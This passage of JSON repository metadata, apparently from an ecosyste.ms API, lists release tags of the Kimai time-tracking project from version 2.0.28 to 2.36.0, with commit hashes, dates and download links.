1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.0/manifests"},{"name":"2.35.1","sha":"12190141d763b61cd98e489d35cb0d8cf3c2a1dd","kind":"commit","published_at":"2025-05-31T13:29:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.35.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.35.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.35.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.1/manifests"},{"name":"2.35.0","sha":"0420eb27c7fa81d0328147d1c53b05c92fb1d566","kind":"commit","published_at":"2025-05-28T11:34:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.35.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.0/manifests"},{"name":"2.34.0","sha":"6e26a37c4d1fd33c7cc26fb4ae90ca4f0a516595","kind":"commit","published_at":"2025-05-18T12:57:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.34.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.34.0/manifests"},{"name":"2.33.0","sha":"2a9de506a13a7c94c9bc2f60236f9c4bbc8c1f5c","kind":"commit","published_at":"2025-05-03T09:40:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.33.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.33.0/manifests"},{"name":"2.32.0","sha":"9ca69e11140deb1da6b2756d931b449beca7880d","kind":"commit","published_at":"2025-04-06T09:36:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.32.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.32.0/manifests"},{"name":"2.31.0","sha":"2a75cd6230238b668ab9e1e363f53956b6cacb78","kind":"commit","published_at":"2025-03-13T17:00:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.31.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.31.0/manifests"},{"name":"2.30.0","sha":"cce49cc4092115c13f2ea3cf73b5bcc2c9698074","kind":"commit","published_at":"2025-02-21T19:50:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.30.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.30.0/manifests"},{"name":"2.29.0","sha":"b42c77a2a1b31ac266878d4417466cc92b4482bc","kind":"commit","published_at":"2025-02-08T23:16:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.29.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.29.0/manifests"},{"name":"2.28.0","sha":"9d7b418d991ce50e8909e2a7f67d441847260651","kind":"commit","published_at":"2025-01-20T15:09:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.28.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.28.0/manifests"},{"name":"2.27.0","sha":"4332ef95a2074a4adcc42465c46328f240d66a66","kind":"commit","published_at":"2024-12-22T21:50:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.27.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.27.0/manifests"},{"name":"2.26.0","sha":"82a3b99a3171d3604cef6abf2bc4c7adae41e2dd","kind":"commit","published_at":"2024-12-05T09:42:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.26.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.26.0/manifests"},{"name":"2.25.0","sha":"eb933e70218488568bc6028f6a07745c76c90588","kind":"commit","published_at":"2024-11-30T13:26:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.25.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.25.0/manifests"},{"name":"2.24.0","sha":"31bae44f3cdd4dd4bd40d46421d086975a30f5ee","kind":"commit","published_at":"2024-10-20T20:30:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.24.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.24.0/manifests"},{"name":"2.23.0","sha":"8c26ff9aed19b78aaac7fbc91c3d0ef5cb2cd36b","kind":"commit","published_at":"2024-10-04T09:24:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.23.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.23.0/manifests"},{"name":"2.22.0","sha":"13649e146c602708e4699e96f3b66212959666ce","kind":"commit","published_at":"2024-09-22T15:26:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.22.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.22.0/manifests"},{"name":"2.21.0","sha":"3e0dadc0c87ddfc60aa94092e4495b6f42e5d8dd","kind":"commit","published_at":"2024-09-01T12:58:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.21.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.21.0/manifests"},{"name":"2.20.1","sha":"2a728154814be6c0a1dc62991204ecf6d7695269","kind":"commit","published_at":"2024-08-04T17:38:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.20.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.1/manifests"},{"name":"2.20.0","sha":"ff6a3e826282a831152eaa60327653fabf76c836","kind":"commit","published_at":"2024-08-04T16:22:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.20.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.0/manifests"},{"name":"2.19.1","sha":"b9c1036b2137d18217a6c41eb6c64733f58d433f","kind":"commit","published_at":"2024-07-28T16:04:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.19.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.1/manifests"},{"name":"2.19.0","sha":"818c080d2876959342047712d84531a3bb56a330","kind":"commit","published_at":"2024-07-27T15:37:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.19.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.0/manifests"},{"name":"2.18.0","sha":"987b46bf8f759a598093aa9b749eed7613907fde","kind":"commit","published_at":"2024-06-16T11:15:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.18.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.18.0/manifests"},{"name":"2.17.0","sha":"0c445d1bc46b30f1e58c7e3c4b71fb825569b79b","kind":"commit","published_at":"2024-05-19T15:42:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.17.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.17.0/manifests"},{"name":"2.16.1","sha":"661bb163428b68b19bc9dc9701dffd285dee6732","kind":"commit","published_at":"2024-05-03T09:38:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.16.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.1/manifests"},{"name":"2.16.0","sha":"99c296a751d66cdc64196af8f2daaf7f9b8dd416","kind":"commit","published_at":"2024-05-01T12:24:24.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.16.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.0/manifests"},{"name":"2.15.0","sha":"9dc9c71a469b70e2c57b1412d48d58a64a6c298e","kind":"commit","published_at":"2024-04-13T15:27:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.15.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.15.0/manifests"},{"name":"2.14.0","sha":"afe065650256c102292981324260cff03a7c1e1b","kind":"commit","published_at":"2024-04-05T21:51:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.14.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.14.0/manifests"},{"name":"2.13.0","sha":"dee90bb15e98ddaa7e3d4889288dc0671fb2f8ac","kind":"commit","published_at":"2024-03-10T14:35:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.13.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.13.0/manifests"},{"name":"2.12.0","sha":"e293d62aa1f7a87bab354c82d54c257959f43f53","kind":"commit","published_at":"2024-02-22T17:00:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.12.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"c2afebbb5efc3531a9cc3d687bd7a99a36e7cad9","kind":"commit","published_at":"2024-02-02T14:48:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.11.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.11.0/manifests"},{"name":"2.10.0","sha":"12ef19df28fd9bf2bf4a849664bea681c2fe55fd","kind":"commit","published_at":"2024-01-21T00:59:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.10.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"6531e7fe52ce362636d4e7903575e211c25564a8","kind":"commit","published_at":"2024-01-10T11:43:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.9.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"8eeb9c120a674532a75622b0ba322e4bd1f50a04","kind":"commit","published_at":"2024-01-02T23:28:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.8.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"ad645f5b584ebfd6e16c059a09c5413e992a20a6","kind":"commit","published_at":"2023-12-26T13:49:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.7.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"e23d0474fd92d570bacab6a2bce7bd6134b78ad9","kind":"commit","published_at":"2023-12-17T16:05:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.6.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"e0769bc3dcc3c3595ea28ceb7ce89200b4a27a31","kind":"commit","published_at":"2023-12-01T21:40:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.5.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.5.0/manifests"},{"name":"2.4.1","sha":"16d4a691f856c3eb5f4ddda578faf354a4ce0b2b","kind":"commit","published_at":"2023-11-20T20:33:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.4.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.1/manifests"},{"name":"2.4.0","sha":"20164295f87331e6fe2aaf8e5a28c2bc74f42a36","kind":"commit","published_at":"2023-11-19T15:05:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.4.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"6a828cc9bd3769fc24d486f52e3153cbf5ff5299","kind":"commit","published_at":"2023-11-08T21:30:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.3.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.3.0/manifests"},{"name":"2.2.1","sha":"c840fee9115d4c9990085568efd26f8ff6a58f07","kind":"commit","published_at":"2023-11-01T00:16:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"e06acc95c5ae9a31f74e3ad9f5e115962269eaa2","kind":"commit","published_at":"2023-10-31T16:03:26.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"38e37f1c2e91e1acb221ec5c13f11b735bd50ae4","kind":"commit","published_at":"2023-10-19T09:21:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.1.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.1.0/manifests"},{"name":"2.0.35","sha":"7a5b12762afa53dd59749b218bb2d2acc8ead665","kind":"commit","published_at":"2023-09-23T16:15:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.35","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.35/manifests"},{"name":"2.0.34","sha":"de419350b275cb5cad8a8595a62f6adb0402b942","kind":"commit","published_at":"2023-09-17T20:32:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.34","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.34/manifests"},{"name":"2.0.33","sha":"6e1207578e3716849d0bd6308a9bc427327229a6","kind":"commit","published_at":"2023-09-07T20:24:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.33","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.33/manifests"},{"name":"2.0.32","sha":"31348da4c054eba83fc8d786bfe306f54a10a71b","kind":"commit","published_at":"2023-08-31T13:33:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.32","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.32/manifests"},{"name":"2.0.31","sha":"636422e34293cd7155c22050b6a65faca85208b6","kind":"commit","published_at":"2023-08-21T18:38:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.31","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.31/manifests"},{"name":"2.0.30","sha":"adc07799126f76887250f5cc04f0e7a662f2fad7","kind":"commit","published_at":"2023-08-16T16:20:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.30","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.30/manifests"},{"name":"2.0.29","sha":"b831532323582c71ea92ee8875484566202d4859","kind":"commit","published_at":"2023-07-26T13:16:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.29","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.29/manifests"},{"name":"2.0.28","sha":"385753fbc38ae140723f2968b9d28ee1d3c23ccd","kind":"commit","published_at":"2023-07-09T13:27:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.28","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.28","dependencies_parsed_at":null,"dependency_job_id":null,